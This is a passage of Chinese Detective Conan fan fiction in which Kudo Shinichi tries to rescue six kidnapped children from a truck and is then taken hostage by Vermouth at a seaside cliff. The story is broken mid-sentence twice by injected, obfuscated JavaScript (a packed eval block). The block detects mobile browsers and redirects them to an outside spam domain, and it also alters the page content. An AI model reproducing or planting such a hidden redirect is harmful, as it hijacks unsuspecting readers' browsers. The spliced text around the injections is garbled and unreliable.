思及此,他立刻联系工藤优作了解了现在的大致局面。既然背后是朗姆主导、皮斯可执行,那么那浑水摸鱼的四辆车必定拖着公安和CIA们不放,但为了避免减员,也一定会控制火力,最有可能用的就是拿金钱买来的小极道组织搞人海战术。果不其然,每一辆车都被这样拖住,但除了零星的火光和枪声警告,目前无一发生大规模冲突,也无一重伤死亡。 紧接着,他接通了留守原地的那几位探员。他们分成了两辆车,一辆依然原地待命,另一辆则跟着货车驶向远方。 正跟踪着的一位CIA回答他:“那辆车没有护卫车,剩下的人还在悄悄跟。现在大致在成晴附近的高速路上……真是,不是说松户吗,这车怎么绕到西南方了?” 工藤新一心脏蓦地一紧,他下意识看向身侧,透过林间的缝隙,隐约能看见一辆黑色的小型货车驶过。车灯没有开,像是故意隐藏着自己。 PTSD发作,那就是这辆车没错了。 他立刻调转方向,追了上去。边追边查看着智能手机里曾下载的地图,按下耳机指挥道:“这条路一直行驶四公里都没有岔路,你们先不要追上来,绕路到它前面,快!” 几个探员面面相觑,不敢妄动。 事急从权。工藤新一立刻把变声器捂到嘴边,发出黑田兵卫的声音:“照他说的做!” 探员们和警官们还以为是黑田指挥官一直在监听,当下情况紧急,于是掉转车头离开预定路径,上坡去绕道拦截了。 “不必逼停,”工藤新一继续说,“找一个适合埋伏的地方,等到车来,爆掉它其中一个后轮——就一个,千万做得自然些。” “收到,小家伙,保证完成任务。” 男孩风驰电掣地在林间追逐,胸口挂着的黑框眼镜不知何时已经架在鼻梁上。他放大视野,能看见那辆车唯一的备用轮胎应该在后面的货厢里,而驾驶室内也只有主驾驶一个人,没有副驾。 紧接着,他拿出另一部手机,拨通了一个号码。对面传来声音:“看样子是需要帮忙,江户川……工藤君?” “啊。”工藤新一声音低沉,“说不定仍然是互惠互利——只要你一个人来就好,酒店有公安的人保护,放心。” “就来,the-boy-who-is-shrouded-in-mystery(笼罩在神秘中的男孩)。” 挂断电话,工藤新一半月眼——一个两个的,都拿他当哈利波特吗? 另一边,黑田兵卫还被困在包围圈内。此时就算是傻子也看的出来,这些人就是在拖延时间,打算把他们耗在这里。然而,并非他不想突击,只是一旦开火,局势就会变得无法控制——僵持,这就是目前唯一的办法。 旁边的下属忽然神色奇怪地看着他,欲言又止。 黑田兵卫扫了他一眼,虽然局势紧张,但并没有宣泄情绪:“怎么了?” “就是……”那个下属看上去也有点神情恍惚,“信号车里的同事说,在留守别墅的同事们发现不对之前,工藤先生带来的那个男孩就先发现了异常,自己跑去追车了,刚刚……刚刚还越过您,直接给那边的同事下令追踪……还说您同意了。” 黑田兵卫皱眉。 他与工藤新一并无太多交集,那个男孩在他这里最重要的身份就是江户川先生的小传话筒。莫非,这番行动也是江户川的指示? 但如果江户川真的爱护这个孩子,怎么会让他独自追车? “我没同意。但现在也没有别的办法了。”黑田兵卫叹了口气,“告诉留守的同事,那孩子有什么话都先跟我汇报。还有,别让他受伤。” “是,队长,我现在就通知他们。” “——啊?你说什么?啊?”刚朝着小货车后轮开了一枪的山本警官差点把消音器扔出去,手忙脚乱地被旁边的公安同事拉回草丛里。 “你那么听一个小孩的话干什么!”电话对面的警官无语。 “黑田长官不是同意了吗?”山本同样很奇怪。 正持枪跟黑衣组织僵持的黑田兵卫:“我像是会让小学生指挥警察的那种公安吗?” “可是——”山本警官看着下方的山路。一道小小的身影避开下车查看的司机,悄悄攀上驾驶座的窗边,窸窸窣窣地鼓捣了两下,随后再次利用视觉死角,躲回了旁边的树丛。 “那孩子貌似……挺能干的。”山本意识到自己或许惹了祸,咽了口唾沫。 黑田兵卫疑惑。 一旁另一位公安打断话茬:“等等,新一君在说话。” 于是三个探员凑到一起,认真听小男孩说话。工藤新一压低声音:“我看到了,车里有六个孩子,车厢内押送的只有两个人,配枪。” 他利用视觉死角偷偷接近,给那辆车安上了发信器(是追踪眼镜的,我突然发现这东西的原理应该类似对讲机,用不着卫星,所以现在能用,前文会改私密马赛)和窃听器,随后躲回来,趁着司机打开后车厢、取备用车胎时,利用红外功能确定了车内的人员构成。万幸,所有孩子都在,而这辆车不知是不是过于自信于他们的调虎离山之计,只配备了两名押送人员随行。 CIA转头就把情报说给了诺拉。 诺拉比黑田信任工藤新一多了,于是嘱咐自己人:“他说什么你尽量听,保护好他,知道吗?” 黑田兵卫则有些恍惚。 “目标车辆再次移动!”山本汇报,屏息凝神地看着司机把备用车胎换好,等车稍稍开远后才启动自己的车,“黑田长官,那我们还跟吗?” “废话!”黑田兵卫忍无可忍,终于气急败坏了一次,“留两个人看着别墅,剩下的都去追。” 他话音未落,时钟的指针蓦地转到凌晨0时45分——组织驻扎的那栋别墅突然爆炸。 浓烟滚滚中,一道黑影踉跄跑出。摩托头盔遮住了这个人整张脸,唯有不屑的冷笑显露在外。 她抬手,开枪,不远处留守的公安车辆轰然炸开,映着别墅的熊熊火光遥相辉映。 上不得台面的家伙……贝尔摩德在心中嗤笑。真以为这种程度的算计能把我炸死在这里吗? 她翻身跃上哈雷,轮胎压灭了面前土地上的火苗,奔驰而去。 “皮斯可,”她按下耳机冷笑,“给我车的位置。我们就还有可能合作。” “我现在不想知道这些想要我死的家伙们是从哪里知道这种情报的。”她接着说,“但在我结束任务之前,你最好给我一个满意的答案。” 工藤新一依然在跟车。 窃听器暂时还没有传来任何有用的声响,只能听见车辆自身的轰鸣。他已经从工藤优作那里得知了别墅爆炸的事情,心里越发确认这是朗姆在背后操控。 因为被发现了,所以要清除痕迹。朗姆现在的做派很像二十年后的琴酒,“凡事做绝”。所以一旦被他发现不对…… 耳机里传来窸窸窣窣的声音,随后是驾驶员恭敬的声音:“朗姆大人!” 朗姆说了些什么,窃听器是听不到的,于是只能听见驾驶员不断的回答。 “是的大人。” “路上车胎被石块扎破了,换车胎用了十分钟,这才没有到达预定位置。” “我有查看过车厢,没有异常,您放心。小崽子们都灌了安眠药,都睡着呢。” “朗姆大人,可是……我是皮斯可大人安排的……” “不敢不敢,我马上与您的人交接,您放心。” 工藤新一皱眉,跟着车辆的行进拐了个弯。 是爆胎事件引起了朗姆的注意? 探员们做的已经足够小心。他们特意在一段石子路进行射击,还特意计算了角度,让子弹隐没进树丛。为的就是让驾驶员以为是石子导致了爆胎而非人为。 但以朗姆的多疑…… 还没等他想出三七二十一,窃听器里又传来驾驶员不耐烦的声音,像是在回应撤离的同伙:“没事!朗姆大人要换人!” 说罢,他打开手机,给自己的直属老大致电:“爱尔兰大人……” 皮斯可一方在这个犯罪链条中就是个执行者、二道贩,面对朗姆这个甲方的要求也没脾气——也可能是刚刚被人利用、惹了贝尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137918|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摩德,已经懒得趟这趟浑水了。老爱尔兰作为他的副手,回复道:“按他说的做,交接了就回,不要起冲突。” “是!” 然而后车厢里的两个小喽啰却似乎并没有驾驶员这般听话,听说了这情况,隔着车厢也要骂两句。 “要我说,朗姆也太狂了。”一个人说,“他不也是靠着自己父亲上位,这才几年,真当自己能骑在皮斯可大人头上了?” “皮斯可大人为什么这么退让!他可是元老!” “你们少说两句。”驾驶员倒是个稳重的,没像他两个一点就着、居然还很有小团体荣誉感的同伙一样说三道四。 “一会儿要来人,别起冲突——这可是爱尔兰大人说的,他是皮斯可大人的副手,他的话就是皮斯可大人的话。” 后面两个这才嘟嘟囔囔地没回音了。 工藤新一听着也想笑。同时回忆起爱尔兰——二十年后被组织射杀的爱尔兰。他曾说自己把皮斯可当作父亲一样看待,组织的代号又是可继承的。那么,现在的皮斯可副手爱尔兰难不成就是那个爱尔兰的亲生父亲?所以皮斯可才会对小爱尔兰爱护有加。 话说回来,既然一会儿要换人押送,那么以朗姆的性子,估计再一会儿会连车也换掉。他得想办法混进那辆车才行。 十分钟后,一辆黑色轿车逆行而来,小货车急刹车,货厢里的两个人直到下车时都还捂着额头。 这俩人本就对朗姆派人抢活这件事不平不忿,刚一下车就拉着驾驶员和黑车里朗姆派来的人理论起来。驾驶员左支右绌,场面一度十分混乱。 乱好呀,乱太好了! 工藤新一心里祈祷他们再乱一点,看清朗姆临时派来的人居然只有一个,就把滑板暂且放在林间,再度卡着视野,蹑手蹑脚地爬进了货厢。 他刚刚从窃听中就已经确认了。一,货厢里只有两个人看守,此时这两人都已经离开;二,货厢里没有监控;三,孩子们都被下了安眠药,也不会出声惊动他们。再者,凭他对朗姆的了解,再一会,他一定会担心这辆车的保密性选择换车——那时候,就是解救人质的唯一机会了。 少年站在半开的车门缝隙旁观察情况,见两方人手都没发现他,才安心地回过身,打算找个地方先藏一下。 一回头,他湛蓝的眼睛隔着镜框,对上了六双惊恐、疑惑、麻木的眼眸。 工藤新一吓了一跳,表现在脸上,大概是嘴角拼命地向后撇了一下。他瞄着面前六个骨瘦如柴的孩子,问了个蠢问题:“你们不是吃安眠药了?” 一个日本男孩看了看其中为首的女孩子,怯生生地说:“姐姐让我们吐了。” 姐姐? 工藤新一顺着他的目光,看向一个粉色裙子的女孩。这女孩大概是外籍,白种人,发色却漆黑如墨,长得和她身后另一个女孩一模一样。与其他人不同,这个粉裙子姑娘的眼神里并不恐惧,流露出的全是戒备。 双胞胎?工藤新一试探性地询问:''''Excuse me, are you the Miss Fields from London?''''(“抱歉,请问你们是伦敦的菲尔德小姐们吗?”) 那对双胞胎姐妹更加戒备,被护在后面的女孩问:''''Who are you?''''(“你是谁?”) 答案听起来是肯定。前些天他和赤井玛丽见面,在那份孤儿院的档案里,他见过这两姐妹的照片。只是比现在更小一点,也更幸福一点。 ''''I was sent by MI6 to rescue you’re your names are Pine and Creek, right? You two lived in the London Municipal Welfare Institution and have been growing up there since childhood. Your dean''s mother told MI6 agents that both of you like to eat Yorkshire pudding, and the elder one Pine likes to sprinkle cheese on it.''''(“我是MI6派来搭救你们的,你们叫派恩和克里克,对吧?住在伦敦市立福利院,从小就在那里长大。你们的院长妈妈对MI6的特工们说,你们喜欢吃约克郡布丁,姐姐派恩还喜欢在上面撒芝士碎。”) 两姐妹对视了一眼。 而在这期间,车外的混乱也逐渐消弭。很快,一个清晰的脚步声就来到了车前。 “嗯,我看看。”交接来的人是朗姆的心腹之一,算是一位准代号成员。他打开车厢门,用手指数着车箱里的孩子们。 “一、二、三、四、五、六……嗯?” 42. 九仞 另一边,赤井玛丽收到消息,翻身起床收拾东西。她轻手轻脚地穿戴好装备,将两把手枪绑在腰间,机车头盔已经提在手上。随后,她轻轻敲了敲大儿子的门。 “妈妈?”赤井秀一揉着眼睛出来。 玛丽本不想把他吵醒,但毕竟是要做危险的事,而她虽然信任工藤新一,却无法把自己儿子的安全放在CIA身上——于是她问:“要不要去吃夜宵,秀一?” 赤井秀一无语地看着玛丽一身机车服、防弹背心还有电子钟上赫然显示的“00:47”,坦然又臭屁地说:“妈,让我出去藏着就直说好了。” “那你跟我出去躲一下。”赤井玛丽从善如流改口,顺便拧了儿子的耳朵一下,“穿厚一点,今晚恐怕会降温。” “……四、五、六,”朗姆派来的交接者疑惑地念叨,“嗯?” “怎么了,伊藤?”皮斯可麾下那两个多事的家伙懒洋洋地问。 伊藤低头,拾起门缝处一块粉色的布料,在车厢里扫视了一圈,看见其中一个昏迷的女孩子正穿着同样花色布料的连衣裙,才略带埋怨地回答:“没什么。你们关门的时候都不看仔细的吗?这孩子裙子都被扯坏了。要是让条子注意到了,你们可就摊上事了。” “我的错我的错。”那驾驶员急忙打圆场,“您看可以了吗?” 伊藤看着车厢里六个被绑住、迷晕的孩子,按照大致的性别年龄确认好,就关上车门:“喏,那边是我的车,你们可以走了。”说罢,自己坐上了小货车的驾驶位,一言不发地开走了。 那两个棒槌在原地啐了两口,骂骂咧咧地也走了。 感受到车辆重新开始移动,工藤新一才从两姐妹身后的一处箱子后面钻出来。这辆车看起来是为了隐蔽特意找的运货车,车厢内灰尘泥土遍地,还有好几个方便坐人的破旧箱子。刚刚千钧一发,双胞胎里的姐姐派恩把他塞到了这个空隙中,并和妹妹两个人一起,用身体给他遮挡。 “咔哒。”工藤新一把手表型手电筒打开,黑黢黢的车厢里顿时明亮起来。人都是趋光的生物,何况这一群被绑架了月余的小孩子们。这一下,几个孩子都往工藤新一所在的角落里靠拢,几张小脸上满是惴惴不安。 工藤新一靠坐在远离驾驶位的那一处角落,一边给他们解除束缚,一边仔细地看了看孩子们的状态。这六个孩子的年龄大概在六岁到十岁之间,都是手长脚长的健全人,除了有点脏、有点瘦,身上并没有什么明显的伤痕,除了克里克的右脚踝微微有些肿。一个日本男孩对他解释说,那是某一次转移时,克里克姐姐为了保护他们扭伤的。 这六个孩子中,除了来自英国的双胞胎姐妹和一个皮肤偏深色的印度男孩之外,看模样都是东亚地区的男孩。 工藤新一试探着和他们搭话:“呃……你们好?能听得懂日语吗?” 那三个孩子都点点头。 工藤新一转而问印度男孩:“Sorry, I only speak a little Hindi. Do you speak English or Japanese? ”(“抱歉,我只会一点点印度语。你会说英语或者日语吗?”) 那个男孩点点头,用浓重口音的英语回答:”I can understand English.”(“我能听懂英语。”) 那就好。工藤新一放下心来。他最担心的就是语言不通:他们的处境可以说是孤立无援,如果孩子们不配合,那他营救的难度就会大大增加。 他转而询问派恩:”Did you intentionally leave that pink dress fragment there just now?”(“刚刚那个粉色裙子碎片是你故意放在那的吗?”) 派恩点点头。她是个文静的女孩子,年纪尚小却已经很是沉稳。不难看出她是这几个孩子里面隐形的顶梁柱。她穿着一身粉色的连衣裙,此时裙角撕破一角,是她故意放出的求救信号。 她可能也不对这个信号抱有希望,然而,希望却真的钻了进来——还打开了手电筒。 “你到底是谁?”不知是不是耳濡目染,妹妹克里克居然磕磕绊绊地说了句日语,又害怕自己说错,躲在姐姐身后补了一句,“Whoareyou?Youcannotbea‘MI6’.”(“你是谁?你不可能是MI6。”) 工藤新一一笑:“工藤新一,is a detective. I’m Sherlock Holmes’s student!” 工藤新一,我是个侦探——我是夏洛克·福尔摩斯的弟子哦! 派恩蓝绿色的眼睛里满是向往。 “现在,大家听我说。”工藤新一先用日语讲一遍,再拿英语重复,“再过一会,他们就要换掉我们现在这辆车,那是我们逃脱的唯一机会。到时候会有一位特工接应我们,但你们一定要相信我、听我的话,到那个关键时刻毫不犹豫地冲下车,知道吗?” 几个孩子小鸡啄米一样点点头。而双胞胎的妹妹克里克歪头问道:“How can you know that?”(“你怎么会知道那些呢?”) “因为这个。”工藤新一一时没转换过来英语日语,索性拿出了窃听装备就已经是解答了疑问。几个孩子难得流露出了好奇和孩子气,都凑来一个耳朵听。 其实那耳机里根本听不见人声,只能听见车的轰鸣。然而,即使这样,那些孩子也像是遭到了莫大的鼓舞。 “Cool!”印度男孩惊呼。 “嘘——”工藤新一连忙冲大家摆手,“现在是深夜,很安静,我们得小点声。” 几个孩子立刻捂住自己的嘴。而克里克悄悄靠近姐姐的耳畔,叽里咕噜不知道说了些什么,换来了派恩无奈的笑。 “They haven''t been happy for a long time, thank you.”(“他们好久没有开心过了,谢谢你。”) 工藤新一摆摆手示意没关系,摆到一半,接到了赤井玛丽的短讯。 “方便说话吗?给我定位。” “现在还在成曲公路上向西行驶,快到收费站了。可以随时联络,我这边暂时无碍。” “收到。” 短讯刚刚“已读”,赤井玛丽的电话就打了进来。工藤新一的手机设置了静音,因此并没有引起新驾驶员伊藤的注意。 “喂?” “我从反方向过来的,成曲公路高架下桥口停了一辆很可疑的货车,看样子是组织。你们要换车吗?” 工藤新一心里一沉:“对。换车。” “也就是说,要在这里给你打辅助了。”赤井玛丽把机车停得稍远,找到高处埋伏好,屏息凝神。 “贝尔摩德大人!” 什么?工藤新一顾不得还在继续的电话,一把抢过孩子们手里的耳机。 “您也要过来?哦,好的,好的……我叫伊藤……对,有六个孩子……好的,好的。” 紧接着,属于现在工藤新一的那部旧手机里也传来消息,是一直跟着车的山本警官。 “危险!工藤君!刚刚有个黑发机车女把我们车打爆胎了,正朝你们的方向追赶!” 难度倍增啊。工藤新一看了一眼手表,指针已经到达了凌晨一点二十。按照玛丽给出的位置和车速推算,还有十分钟。 而公安的大批人手仍被困在松户方向,鞭长莫及。 时间一分一秒地过去。 工藤新一关掉了手电,指挥六个孩子都躲在行进方向左下角的角落里准备,自己则在右下角的角落里举起麻醉手表、面对着车厢门戒备。他的手表充电、眼镜维护都能勉强自力更生,可麻醉针不行,哪怕是博士升级过的有三根针的也一样——对付外守一的时候用了一枚,叶才三银行抢劫案用了一枚,眼下就只剩下最后一枚了。而除此之外,不论是踢足球还是踢什么别的东西,都太过兴师动众了。 车子慢慢地减速。工藤新一能感觉到自己因为惯性微微向后倾倒,随后一阵晃动,慢慢地停下来。在黑暗中,他朝几个孩子比了个安静的手势,细细听着门外的声音。 “诶,贝尔摩德还没有来么?”他听见司机伊藤说。 “没有啊,没有人提到过她也要来。”另一个等待交接的人说。同时,工藤新一的耳机里传来玛丽的声音:“来交接的有三个人,都是男性。” “还有,我隐约听到了哈雷的声音。是不是他们的同伙要到了?” “嗯,贝尔摩德。”工藤新一轻声说,麻醉手表的瞄准镜反射出冷光。他的指节因用力而发白,手指已经微微出汗,但还保持着射击的姿势。 山风像一把钝刀,割得人脸颊生疼。这一夜的乌云压得很低,仿佛随时会坠下来砸碎这条盘桓在半山腰的碎石路。路旁的森林黑得发亮,松针与灌木在风里发出细碎的呜咽,像无数张嘴在窃窃私语。 伊藤他们似乎没有听见哈雷的轰鸣,不耐烦道:“朗姆大人等得急,先把小崽子们都运过去再说。”说罢,他打开门闩,一丝微风刚刚吹进车厢内时,听见了一个男孩的呼喊。 “跑——!” 伊藤的肩膀还抵在货车门上,门轴发出垂死的“吱呀”声。六个孩子像一串被扯断的珠子,哗啦啦把门板撞在他胸口——他们的小脸被恐惧与兴奋烧得通红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“让开!”她的声音被引擎和枪声撕得七零八落,却奇异地带着深入骨髓的狠。烟雾浓得像煮沸的沥青,贝尔摩德的枪声成了唯一的坐标。她的枪口每亮一次,就映出她半边苍白的脸——口红被咬得残缺,像一弯浸血的月牙。 赤井玛丽只得暂时躲避,唤新一:“小心!她在瞄准车子!” 烟雾弹让她无法继续掩护、唯恐误伤。而贝尔摩德——她像是早就计算好了路径,朝着货车的方向连续射击两次。 新一在雾里听见子弹击中货车油箱的脆响,金属哀鸣着凹陷,汽油味立刻漫出来,像一条湿冷的舌头舔过每个人的脚踝。紧接着的第二声枪响,则立刻引燃了一场火光冲天的爆炸。 “快趴下!”工藤新一扑在克里克身上,带着她滚了两圈,隐没在树丛中。 男孩承受了爆炸的余波,“咚”的一声撞到了树干,虽然基于代价,并没有伤口和痛感,但撞击之下,他立刻失去了意识。 赤井玛丽从岩石后闪身,整个裤子上都沾满潮湿的泥土。她换弹匣的动作快得几乎出现残影,弹壳落地的清脆声响被烟雾吞噬。她在等,等烟雾被风驱散,还能继续掩护这些孩子们。 然而,烟雾驱散,她看见的却是几个好不容易逃出生天的孩子,被黑洞洞的枪口逼着,重新赶回了公路上。 那片森林里,竟然埋伏着他们的人。 工藤新一意识不清地昏迷在地,克里克颤抖着想要故技重施,抓了好多枯枝烂叶堆在他身上,自己则摆弄着白色的裙摆要遮住他。女孩听不懂日语,但看得懂人心——工藤新一,这个看着也就六七岁的男孩子一路鼓励他们、救他们,哪怕失败,也绝不能被搭进来。 她悄悄拿起了工藤新一缴获的左轮手枪,颤抖地举起,冲向烟雾中影影绰绰的黑发魔女。 森林深处,一只乌鸦突然惊飞,翅膀拍打的声音像是撕开了昂贵的布帛。树枝被踩碎的声音从她身后响起,克里克回头,发现姐姐派恩红着眼眶、一步一步走回来。她的身后,两把枪黑洞洞地指着他们——那本来已经逃出去的五个孩子。 而就在她回头的时候,贝尔摩德已经蹲在了她身前。瞧见被烂树叶半遮半掩的工藤新一的脸,顿时有些惊讶,随后不动声色地开口:“啊啦,小姑娘怎么可以拿着这么危险的东西呢?” 克里克的枪口正对着黑发女人的眉心,她不受控制地流着眼泪,手指却还是倔强地要扣下扳机……然而什么都没发生,贝尔摩德的一只手按住了左轮手枪的轮轴,任凭女孩如何用力也根本无济于事。 “带走。”她淡淡开口。树林里那两名黑衣人就连同公路上的一起,把六个孩子、六个经历了极度的憧憬的孩子们赶上了另一间牢笼。而贝尔摩德则抱起工藤新一,用刚刚那女孩手里的枪对准他的太阳穴,看向赤井玛丽所在的高地。 “该死。”赤井玛丽牙根紧咬。 贝尔摩德觉得有趣。难不成这莫名其妙的枪手真是这孩子找来的?明明现在有那么多机会继续开枪,可只要这孩子的安全被威胁,就束手束脚地一动也不敢动了? 她轻蔑一笑,把昏迷的男孩拽到自己的哈雷上,抓着他扬长而去。 为山九仞,功亏一篑。 43. 不群 赤井玛丽几乎把齿缝间的血丝一起咬碎。枪膛里最后一缕硝烟还未散尽,便贴着她的唇角灼出一道细小的血泡;空弹匣落地的脆响像一记耳光,抽得耳膜嗡嗡作响。她半跪在丛林间,眼也不眨地看着下面一片狼藉的火光冲天——可组织成员的车尾灯已经缩成两粒猩红的针尖,随时会被山口的黑暗吞没。 她一把抓起空枪,金属的冷意透过掌心直扎进骨头。她甚至没时间收拾好自己存在过的痕迹,没空捡回所有弹壳——哪怕会被日本公安发现她的入境非法持枪。 赤井玛丽翻身跨上车座,膝盖撞在油箱上,她扯下头盔——玻璃镜片上溅着几粒暗色的血点,也许是刚刚擦枪走火的某一发子弹。山风裹挟着松脂与汽油的味道灌进鼻腔,潮湿得像一柄钝刀,缓慢地切割她的气管。机车像一道被夜色撕开的伤口,沿着盘山公路俯冲而下。 后视镜里,公安的苍白车灯才刚拐上山脊,像迟到的悼词;而前方,那辆新的货车与贝尔摩德哈雷的尾灯一分两半,即将没入最浓稠的阴影里,逼着她选择—— 你要救谁? “Damn it.”赤井玛丽用嘴把手套咬下来,拨通了工藤新一给他的、紧急联络人的电话。 工藤优作在信号车里五内俱焚,抓起电话:“喂?玛丽女士吗?” 凌晨两点的钟声敲响,一片苍白的车灯撕开浓雾,引擎的咆哮像受伤的兽,沿着盘山公路一路向上。最后一道尾灯转过山坳时,轮胎碾过的新鲜刹车痕旁,只剩落在泥花里的子弹、熊熊燃烧的货车,连同淡淡的烟雾味一起黏在路面上。 黑田兵卫和诺拉下车,眼神凝重地望向远方——终究是迟了。 “联系不到那孩子了,是不是?”诺拉轻声问。 黑田兵卫绷着脸:“刚刚工藤优作先生给我打电话说,江户川先生的盟友看到了事情的全过程,新一君救人不成,组织兵分两路逃了——一路是孩子们,一路是挟持了新一君的组织代号成员,贝尔摩德。” “味美思酒……”诺拉叹了口气,“除了这一次,以前都没听说过。” “女性,应该还很年轻,黑发、哈雷、持枪。那位盟友去追她了。我们兵分两路。”黑田兵卫无比自责。他中了组织的将计就计、没有救出孩子们、没有探查到组织基地、甚至还搭进去了一个无辜的孩子。 “全力追捕。诺拉女士,你带着CIA和我的一半部下去追孩子们,我去追新一君。”黑田兵卫道。 他是日本公安,保护日本公民这件事,不能让CIA代劳。 诺拉点点头:“但让怀亚特跟你去,他比你们更熟悉那孩子。” “好。” 潮湿的柏油路在月光下泛着青白,像一条被剖开的血管。路边野薄荷被碾碎,辛辣的凉气混着血腥味,钻进鼻腔里久久不散。 工藤新一浑浑噩噩地睁开眼,仅仅几秒,他就从混沌里浮上来——首先感受到的是呼啸而过的风,隐约能闻见硝烟、皮革、还有女士烟的薄荷味。他听得到自己的心跳,眼皮撑开一条缝,随后眼神聚焦,看见了越发稀疏的树林——他被贝尔摩德拽着,已经脱离那段公路,不知开向了哪里。 “醒了?”贝尔摩德似有所觉,拽着男孩的手越发紧了。 工藤新一一言不发地仰头看她。 他这才看清贝尔摩德今天的模样,她大概用了一次性的染发剂,把那头短金发染成了黑色的,因为还没有学会易容,脸上就只用化妆品画了个与“莎朗·温亚德”完全不搭边的妆——棕色的美瞳片、色号偏暗的粉底,配上了深紫的口红。 “上次在仓库跟踪我的也是你吧?”贝尔摩德开口,“怎么办,叫你看见我的真实身份了,下一步是不是要灭口才对?” “贝尔摩德……”工藤新一并不怕死,而且奇异地,也觉察出这女人似乎没有真的要杀他的意思,“你那天为什么要哭?因为‘克莉斯’吗?” 女人瞳孔紧缩。 “……啊啦,你该不会是想着我喝了你一杯牛奶、认得你,就会看在有希子的面子上放你一马?”贝尔摩德沉默了一瞬,才开口。她扫了眼后视镜,四辆黑色的轿车在山坡顶端显露出光亮:“真是调皮的男孩——他们追的很快嘛,定位器?还是说,在我们附近隐藏着你的那个帮手?” 话音未落,岔路口的柏油坡面忽然被一束炽白的远光劈开——赤井玛丽的机车像一枚出膛的子弹,贴着山壁呼啸俯冲。 “停车!” 玛丽的怒吼被引擎撕得粉碎,却仍带着金属般的冷冽。她单臂抬枪,枪口朝天—— “砰——” 一声警示枪响擦过贝尔摩德头顶,弹头像一枚灼亮的流星,将黑暗烫出一个瞬间的洞。 山风被撕得发出尖啸,惊鸟扑棱棱地从天际飞过。机车的远光灯在柏油路上投出两道白炽的刀痕,一路剖开黑暗,一路逼向断崖—— 那是生路,也是绝路; 那是囚笼,也是舞台。 “真有趣。” 贝尔摩德从善如流,随即猛地向右打死方向盘,哈雷的尾灯扫出一片红光,顺便扔下颗手榴弹留给对面的女人自生自灭。轮胎尖叫着冲上一条碎石岔路。车灯扫过扭曲的松枝,像一把迟钝的锯子割开夜色。引擎怒吼,碎石迸溅,在底盘上敲出骤雨般的金属哀嚎。海腥味突然浓烈起来,连呼吸都带着湿冷的腥气。那条路的尽头,是一片二十米高的海岸断崖。 贝尔摩德踩下刹车。 哈雷在离断崖三米的地方横甩,后轮悬空,扬起半弧沙砾,噼里啪啦砸进浪花。车头灯扫过崖边,光束像一把被折弯的刀,徒劳地刺向二十米下那片太平洋——铅镜般的海面被撕碎,暗得连月光都沉不下去,只剩碎银似的波峰在深处一闪即逝。 机车叹息一样停了火。 贝尔摩德拎着新一的衣领把他拽下来。少年踉跄半步,磨破的膝盖跪在尖锐的贝壳上,却连眉都没皱。他几乎被贝尔摩德整个提了起来,肩膀撞进女人臂弯,那里的肌肉绷得像一条拉满的弓弦,藏着极细的颤抖——不是恐惧,更像兴奋,像极夜里的磷火,冷得刺骨,又亮得灼人。 “看来你对他们真的很重要啊,cool boy。” 她声音低得几乎被海风吹散,却贴着耳廓钻进骨缝。□□的消音管抵在他颈动脉,金属的凉意顺着血管一路爬向心脏,像一条冬眠的蛇苏醒。枪口微微下压,少年被迫扬起下巴,喉结在月光里滚出一道脆弱的弧。 贝尔摩德用枪口轻轻点了点新一的颈窝,像在试温度。 “你的心跳比我想象的快。” 新一低声回敬:“因为我不喜欢被人当提线木偶,大明星。” 女人笑了,眼底却没有笑意:“那就别演成木偶剧。今晚是现场直播,没有NG。” 背后,大海在呼吸。 风掠过断崖,卷起贝尔摩德的短发,带着硝烟和薄荷的辛辣。公安的车灯像迟到的闪电,照出他们脚下那道狭窄的影子——两条扭曲的线,一起悬在深渊边缘。 赤井玛丽暂时还不能暴露在公安面前,更不可能失去敌在明己在暗的先机。她把机车丢弃在岔路旁,随后只身迈入野路,再次躲避在树丛间。 林子深处,有枯枝断裂的脆响,像是谁把骨头一根根掰开,又轻轻拼回原处。 公安的第一辆车横在路中央——那是一台黑色丰田陆巡,防暴格栅在月光下泛着冷硬的银。做司机的警员猛地一拉手刹,轮胎在砾石路面拖出半弧焦痕,橡胶味混着火药味刺进鼻腔。 第二辆、第三辆……车门几乎是同一节拍弹开,警员们蹲踞在车门后,手枪同时上膛。 “嘶——嘶——嘶——” 连续三声短促的鸣枪划破夜空,子弹钻进远处岩壁,溅起一撮火星,像给黑暗打了三记火红的标点。 黑田兵卫的嗓音被海风吹得支离破碎,却压得每个人耳膜发闷:“把人放下!否则下一颗子弹就不是警告!” 贝尔摩德微微侧头,耳边的碎发被热浪掀起,像一面暗色的旗。她没有回答,而是抬起右手,□□的消音管在工藤新一的下颌上轻轻敲了两下—— “咚,咚——” 金属的冷意顺着动脉一路滑到心脏,少年颈侧立刻起了一层细密的战栗。 工藤新一还是第一次直面这魔女“魔”的一面。想来也是,前世他再遇见贝尔摩德时,她已经对他们格外留情,更何况,就算是不老魔女,她依然受到时光的打磨——二十年前的她,在组织里尚且算得上初出茅庐,当然更疯、更狠。 “哎呀,看来你们终于反应过来了?”她的声音带着慵懒的笑,像在剧院后排点评一出蹩脚的悲剧,“可惜今晚的剧本里,没有骑士救王子的桥段。落到这个境地,你也只好感叹一声老天不公了。” 她的枪口继续下滑,停在工藤新一锁骨凹陷处,那里的皮肤被月光照得近乎透明,淡青色的血管清晰可见。 “除非——” 她拖长了尾音,像故意留给追兵们一秒去猜测。 下一秒,她的左手闪电般扬起。 拇指与中指间夹着一枚乒乓球大小的金属球——哑光黑,表面刻着细密的刻槽。她指尖轻轻一弹,金属球划出一道低平的抛物线,落在最前方陆巡的前轮旁。 它在砾石上弹跳两下,发出清脆的“叮——叮——”。 怀亚特·鲁索蹲在第二辆车的引擎盖后,瞳孔骤然缩成针尖。 “跳!” 他低吼的同时,整个人已翻滚出去。战术靴在地面蹬出一蓬沙土,身体撞进了路边半人高的芒草丛。 “轰——!” 金属球在第三声脆响里炸开。 